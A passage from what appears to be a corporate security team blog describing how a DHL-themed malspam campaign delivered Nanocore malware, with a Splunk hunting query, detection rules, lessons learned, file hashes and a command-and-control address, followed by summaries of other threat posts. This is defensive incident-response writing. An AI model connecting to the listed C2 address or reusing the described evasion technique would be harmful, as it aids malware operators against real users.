At this point in the investigation of the original dropper and the subsequent suspicious files, we still could not answer how the malware ended up on this user’s computer in the first place. However with the filename of the original dropper to pivot with, a quick web search for the filename turned up a thread on Symantec.com from a user asking for assistance with the file in question. In this post, they write that they recognize the filename from a malspam email they received. Based on the Symantec thread and other clues, such as the use of the shipping service DHL in the filename, we now know the delivery method is likely via email.

Delivery Method Techniques


We used the following Splunk query to search our Email Security Appliance logs for the beginning of the filename we found executing RegAsm.exe in the Windows Event Logs.

index=esa earliest=-30d

[search index=esa "DHL*.img" earliest=-30d

| where isnotnull(cscoMID)

| fields + cscoMID,host

| format]

| transaction cscoMID,host

| eval wasdelivered=if(like(_raw, "%queued for delivery%"), "yes", "no")

| table esaTo, esaFrom, wasdelivered, esaSubject, esaAttachment, Size, cscoMID, esaICID, esaDCID, host

Figure 9: Splunk query looking for original DHL files.

As expected, the emails all came from the spoofed sender address noreply@dhl.com with some variation of the subject “Re: DHL Notification / DHL_AWB_0011179303/ ETD”. In total, CSIRT identified a total of 459 emails from this campaign sent to our users. Of those 459 emails, 396 were successfully delivered and contained 18 different Nanocore samples.

396 malicious emails making it past our well-tuned and automated email mitigation tools is no easy feat. While the lure the attacker used to social engineer their victims was common and unsophisticated, the technique they employed to evade defenses was successful – for a time.

Detecting the Techniques


During the lessons learned phase after this campaign, CSIRT developed numerous incident response detection rules to alert on newly observed techniques discovered while analyzing this incident. The first and most obvious being, detecting malicious disk image files successfully delivered to a user’s inbox. The false-positive rate for this specific type of attack is low in our environment, with a few exceptions here and there – easily tuned out based on the sender. This play could be tuned to look only for disk image files with a small file size if they are more prevalent in your environment.

Another valuable detection rule we developed after this incident is monitoring for suspicious usage (network connections) of the registry assembly executable on our endpoints, which is ultimately the process Nanocore injected itself into and was using to facilitate C2 communication. Also, it is pretty unlikely to ever see legitimate use of the choice command to create a self-destructing binary of sorts, so monitoring for execution of choice with the command-line arguments we saw in the Windows Event above should be a high fidelity alert.

Some additional, universal takeaways from this incident:

1. Auto-mitigation tools should not be treated as a silver bullet – Effective security monitoring, rapid incident response, and defense in depth/layers is more important.

2. Obvious solutions such as blocking extensions at email gateway are not always realistic in large, multifunction enterprises – .IMG files were legitimately being used by support engineers and could not be blocked.

3. Malware campaigns can slip right past defenders on occasion, so a wide playbook that focuses on how attackers operate and infiltrate (TTPs) is key for finding new and unknown malware campaigns in large enterprises (as opposed to relying exclusively on indicators of compromise.)

Indicators Of Compromise (IOCS)


2b6f19fac64c847258fe776a2ea6444cc469ac6a348e714fcab23cc6cb2c5b74

327c646431a644192aae8a0d0ebe75f7a2b98d7afa7a446afa97e2a004ca64b0

3718957d7f0da489935ce35b6587a6c93f25cff69d233381131b757778826da3

3873ef89a74a9c03ba363727b20429a45f29a525532d0ef9027fce2221f64f60

3a7c23a01a06c257b2f5b59647461ebf8f58209a598390c2910d20a9c5757c62

4eb2af63e121c22df7945258991168be4a70aa32669db173743701aab94383fb

5d14e5959c05589978680e46bffd586e10c1fcabc21ddd94c713520cd0037640

6a2af44e186531d07c53122d42280bc18929d059b98f0449c1a646d66a778ffb

80ab695da86e97861b294b72ba1ef2e8e2f322e7ec0d0834e71f92497515b63d

a34aa05710cf0afb111181c23468c2dcc3a2c2d6aa496c9dffe45dde11e2c4d1

abf41ea1909a39c644e5b480b176ef8a3c4a80e2ee8b447d4320e777384392cf

af5d9ca1ed166a8d378c5b5ed7e187035f374b4376bdd632c3a2ee156613fd29

afb87da69c9ad418ac29af27602a450a7eae63132443c7bc56ab17785dd3bbfd

d871704baad496b47b15da54e7766c0a468ac66337d99032908ad7d4732ecffb

da79495b8b75c9b122a1116494f68661ec45a1fdfb8fd39c000f1f691b39bc13

deb805ce329f17a48165328879b854674eb34abd704eeb575e643574f31d3e83

eaee0577806861c23bef8737e5ba2d315e9c6bfa38bf409dda9a2a13599615b4

fc0cf381e433cd578128be91dfd7567d2294a6d3ff4d2ce0e3f4046442b1f5f0

185.101.94.172:8166

Friday, 6 April 2018

IcedID Banking Trojan teams up with Rovnix for distribution

In November 2017 security researchers reported a new banking Trojan known as “IcedID”. At the time of discovery IcedID was being distributed by Emotet. In late February and throughout March 2018 Cisco noticed an increase in IcedID infections being detected throughout the AMP ecosystem. Like in November 2017, some of the infections could be traced to Emotet, but this time, many detections could instead be traced to emails with attached malicious Microsoft Word documents containing macros. When the malicious documents are opened and the macros are enabled, Rovnix would be downloaded and executed, which subsequently downloads IcedID. In addition to Rovnix, many of the samples downloaded a second payload, a Bytecoin miner (Bytecoin is a crypto currency similar to Bitcoin).

Wednesday, 7 February 2018

Secure by Design: Enhanced Interfaces Improve Email Security and Malware Analysis

In the infosec world, it’s well established that time is a precious commodity. Time to detection and time to resolution are critical concepts that can mean the difference between a minor incident and making the news. In order to be effective, security teams need to be able to quickly access data, gather insights and take the necessary actions to keep their organizations safe. To that end, we’re committed to simplifying our user interfaces and making it easier to manage security effectively across an enterprise. Cisco Email Security and Cisco Threat Grid are two prime examples.

Monday, 18 December 2017

Malware stealing gigabytes of your data as seen by Cognitive Threat Analytics

Overview


Recently, about 50 users across 20 companies were alarmed by the Cisco Cognitive Threat Analytics (CTA) about a malware that exfiltrates gigabytes of data from their computers. An example of such CTA detection:

Monday, 11 December 2017

Cognitive Research: Learning Detectors of Malicious Network Traffic

Malware is constantly evolving and changing. One way to identify malware is by analyzing the communication that the malware performs on the network. Using machine learning, these traffic patterns can be utilized to identify malicious software. Machine learning faces two obstacles: obtaining a sufficient training set of malicious and normal traffic and retraining the system as malware evolves. This post will analyze an approach that overcomes these obstacles by developing a detector that utilizes domains (easily obtained from domain black lists, security reports, and sandboxing analysis) to train the system which can then be used to analyze more detailed proxy logs using statistical and machine learning techniques.